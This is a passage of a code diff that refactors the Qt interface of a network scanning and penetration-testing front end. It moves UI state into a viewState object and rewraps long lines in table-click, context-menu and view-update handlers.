application self.closeProject() log.info('Exiting application..') sys.exit(0) @@ -506,16 +550,18 @@ def connectHostTableClick(self): # TODO: review - especially what tab is selected when coming from another host def hostTableClick(self): - if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView. + selectionModel().selectedRows())-1].row() print(row) ip = self.HostsTableModel.getHostIPForRow(row) - self.ip_clicked = ip + self.viewState.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() - self.restoreToolTabsForHost(self.ip_clicked) - self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) - self.updateRightPanel(self.ip_clicked) + self.restoreToolTabsForHost(self.viewState.ip_clicked) + # display services tab if we are coming from a dynamic tab (non-fixed) + self.ui.ServicesTabWidget.setCurrentIndex(save) + self.updateRightPanel(self.viewState.ip_clicked) else: self.removeToolTabs() self.updateRightPanel('') @@ -527,10 +573,11 @@ def connectServiceNamesTableClick(self): def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() print(row) - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) - self.updatePortsByServiceTableView(self.service_clicked) + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.viewState.service_clicked) ### @@ -539,11 +586,13 @@ def connectToolsTableClick(self): def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): - row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len( + self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) - self.updateToolHostsTableView(self.tool_clicked) - self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.viewState.tool_clicked) + # if we clicked on the screenshooter we need to display the screenshot widget + self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') # update the updateToolHostsTableView when the user closes all the host tabs # TODO: this doesn't seem right @@ -558,10 +607,11 @@ def connectScriptTableClick(self): def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): - row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len( + self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() print(row) - self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) - self.updateScriptsOutputView(self.script_clicked) + self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.viewState.script_clicked) ### @@ -571,27 +621,32 @@ def connectToolHostsClick(self): # TODO: review / duplicate code def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': filename = self.ToolHostsTableModel.getOutputfileForRow(row) self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) else: - self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab - - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + # restore the tool output textview now showing in the tools display panel to its original host tool tab + self.restoreToolTabWidget() + + # remove the tool output currently in the tools display panel (if any) + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - tabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + tabs = self.viewState.hostTabs[str(ip)] - for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtWidgets.QPlainTextEdit) and \ + str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == \ + str(self.viewState.tool_host_clicked): self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break @@ -604,17 +659,18 @@ def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) def advancedFilterClick(self, current): - self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) self.filterdialog.show() def updateFilter(self): f = self.filterdialog.getFilters() - self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.viewState.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) self.ui.keywordTextInput.setText(" ".join(f[8])) self.updateInterface() def updateFilterKeywords(self): - self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.viewState.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) self.updateInterface() ### @@ -634,7 +690,8 @@ def rightTableDoubleClick(self, signal): index = signal.sibling(row, 0) index_dict = model.itemData(index) index_value = index_dict.get(0) - log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) + log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}' + .format(row, column, cell_value, index_value)) ## Does not work under WSL! df = pd.DataFrame([cell_value]) @@ -646,10 +703,12 @@ def tableDoubleClick(self): print(tab) if tab == 'Services': - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -682,7 +741,7 @@ def switchTabClick(self): self.restoreToolTabWidget() ### - if self.lazy_update_hosts == True: + if self.viewState.lazy_update_hosts == True: self.updateHostsTableView() ### self.hostTableClick() @@ -690,23 +749,24 @@ def switchTabClick(self): elif selectedTab == 'Services': self.ui.ServicesTabWidget.setCurrentIndex(0) self.removeToolTabs(0) # remove the tool tabs - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - if self.lazy_update_services == True: + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.viewState.lazy_update_services == True: self.updateServiceNamesTableView() self.serviceNamesTableClick() #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs - # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - # if self.lazy_update_services == True: + # self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + # if self.viewState.lazy_update_services == True: # self.updateServiceNamesTableView() # self.serviceNamesTableClick() elif selectedTab == 'Tools': self.updateToolsTableView() - self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise + # display tool panel if we are in tools tab, hide it otherwise + self.displayToolPanel(selectedTab == 'Tools') ### @@ -722,15 +782,18 @@ def switchMainTabClick(self): elif selectedTab == 'Brute': self.ui.BruteTabWidget.currentWidget().runButton.setFocus() self.restoreToolTabWidget() - - self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black + + # in case the Brute tab was red because hydra found stuff, change it back to black + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) ### - def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user - self.menuVisible = True + # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + def setVisible(self): + self.viewState.menuVisible = True - def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now - self.menuVisible = False + # indicates that a context menu has now closed and any pending ui updates can take place now + def setInvisible(self): + self.viewState.menuVisible = False ### def connectHostsTableContextMenu(self): @@ -738,20 +801,23 @@ def connectHostsTableContextMenu(self): def contextMenuHostsTableView(self, pos): if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + row = self.ui.HostsTableView.selectionModel().selectedRows()[ + len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + # because when we right click on a different host, we need to select it + self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) self.ui.HostsTableView.selectRow(row) # select host when right-clicked - self.hostTableClick() - - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost( + str(self.HostsTableModel.getHostCheckStatusForRow(row))) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(row) action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) - + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) + ### def connectServiceNamesTableContextMenu(self): @@ -759,19 +825,21 @@ def connectServiceNamesTableContextMenu(self): def contextMenuServiceNamesTableView(self, pos): if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked self.serviceNamesTableClick() - menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.viewState.service_clicked) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) - if action: - self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows - # we must only fetch the targets on which we haven't run the tool yet + if action: + # because we will need to populate the right-side panel in order to select those rows + self.serviceNamesTableClick() + # we must only fetch the targets on which we haven't run the tool yet tool = None for i in range(0,len(actions)): # fetch the tool name if action == actions[i][1]: @@ -782,20 +850,26 @@ def contextMenuServiceNamesTableView(self, pos): if action.text() == 'Take screenshot': tool = 'screenshooter' - targets = [] # get (IP,port,protocol) combinations for this service + targets = [] # get (IP,port,protocol) combinations for this service for row in range(self.PortsByServiceTableModel.rowCount("")): - targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row), + self.PortsByServiceTableModel.getPortForRow(row), + self.PortsByServiceTableModel.getProtocolForRow(row)]) - if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet + # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on + # which we haven't ran it yet + if shiftPressed: tool=None if tool: - hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on + # fetch the hosts that we already ran the tool on + hosts=self.controller.getHostsForTool(tool, 'FetchAll') oldTargets = [] for i in range(0,len(hosts)): oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) - - for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on + + # remove from the targets the hosts:ports we have already run the tool on + for host in oldTargets: if host in targets: targets.remove(host) @@ -809,7 +883,8 @@ def connectToolHostsTableContextMenu(self): def contextToolHostsTableContextMenu(self, pos): if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) port = self.ToolHostsTableModel.getPortForRow(row) @@ -820,10 +895,16 @@ def contextToolHostsTableContextMenu(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - # this can handle multiple host selection if we apply it in the future - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + # context menu when the left services tab is selected for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): - targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()), + self.ToolHostsTableModel.getProtocolForRow(row.row()), + self.controller.getServiceNameForHostAndPort( + self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) restore = True action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) @@ -831,8 +912,9 @@ def contextToolHostsTableContextMenu(self, pos): if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) - else: # in case there was no port, we show the host menu (without the portscan / mark as checked) - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str( + self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) @@ -840,22 +922,24 @@ def contextToolHostsTableContextMenu(self, pos): action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) ### def connectServicesTableContextMenu(self): self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) - def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table + # this function is longer because there are two cases we are in the services table + def contextMenuServicesTableView(self, pos): if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: - - if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + # if there is only one row selected, get service name + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view serviceName = self.ServicesTableModel.getServiceNameForRow(row) - else: # if we are in the services tab of the services view + else: # if we are in the services tab of the services view serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) else: @@ -865,15 +949,21 @@ def contextMenuServicesTableView(self, pos): # this funct menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row if self.ui.ServicesTableView.isColumnHidden(0): for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) + targets.append([self.ServicesTableModel.getIpForRow(row.row()), + self.ServicesTableModel.getPortForRow(row.row()), + self.ServicesTableModel.getProtocolForRow(row.row()), + self.ServicesTableModel.getServiceNameForRow(row.row())]) restore = False - else: # context menu when the left services tab is selected + else: # context menu when the left services tab is selected for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()), + self.PortsByServiceTableModel.getPortForRow(row.row()), + self.PortsByServiceTableModel.getProtocolForRow(row.row()), + self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) restore = True action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) @@ -896,7 +986,8 @@ def contextMenuProcessesTableView(self, pos): selectedProcesses = [] # list of tuples (pid, status, procId) for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) - selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), + self.ProcessesTableModel.getProcessIdForRow(row.row())]) action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) @@ -933,25 +1024,27 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - print(str(self.controller.getHostsFromDB(self.filters))) - self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) - self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns + # hide some columns + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.DescendingOrder) - ips = [] # ensure that there is always something selected + ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) - if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) - row = self.HostsTableModel.getRowForIp(self.ip_clicked) + # the ip we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.ip_clicked in ips: + row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) else: row = 0 # or select the first row @@ -961,17 +1054,19 @@ def updateHostsTableView(self): def updateServiceNamesTableView(self): headers = ["Name"] - self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) + self.ServiceNamesTableModel = ServiceNamesTableModel( + self.controller.getServiceNamesFromDB(self.viewState.filters), headers) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) - self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore services = [] # ensure that there is always something selected for row in range(self.ServiceNamesTableModel.rowCount("")): services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) - - if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) - row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) + + # the service we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.service_clicked in services: + row = self.ServiceNamesTableModel.getRowForServiceName(self.viewState.service_clicked) else: row = 0 # or select the first row @@ -980,29 +1075,38 @@ def updateServiceNamesTableView(self): self.serviceNamesTableClick() def setupToolsTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses='noNmap', + sort=self.toolsTableViewSort, + ncol=self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): - if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and \ + self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.ToolsTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, + showProcesses = 'noNmap', + sort = self.toolsTableViewSort, + ncol = self.toolsTableViewSortColumn)) self.ui.ToolsTableView.repaint() self.ui.ToolsTableView.update() - self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see - for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected for row in range(self.ToolsTableModel.rowCount("")): tools.append(self.ToolsTableModel.getToolNameForRow(row)) - if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) + # the tool we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_clicked in tools: + row = self.ToolsTableModel.getRowForToolName(self.viewState.tool_clicked) else: row = 0 # or select the first row @@ -1013,8 +1117,10 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.ServicesTableModel = ServicesTableModel( + self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1026,8 +1132,10 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel( + self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1063,7 +1171,10 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, vendor=host.vendor, asn=host.asn, isp=host.isp) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, + filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, + macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, + asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] @@ -1077,8 +1188,9 @@ def updateScriptsView(self, hostIP): for row in range(self.ScriptsTableModel.rowCount("")): scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) - if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) - row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) + # the script we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.script_clicked in scripts: + row = self.ScriptsTableModel.getRowForDBId(self.viewState.script_clicked) else: row = 0 # or select the first row @@ -1091,7 +1203,8 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): - headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self, cves, headers) @@ -1111,10 +1224,10 @@ def updateScriptsOutputView(self, scriptId): # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): - self.lastHostIdClicked = str(hostid) + self.viewState.lastHostIdClicked = str(hostid) note = self.controller.getNoteFromDB(hostid) - saved_dirty = self.dirty # save the status so we can restore it after we update the note panel + saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel self.ui.NotesTextEdit.clear() # clear the text box from the previous notes if note: @@ -1124,7 +1237,8 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) @@ -1137,23 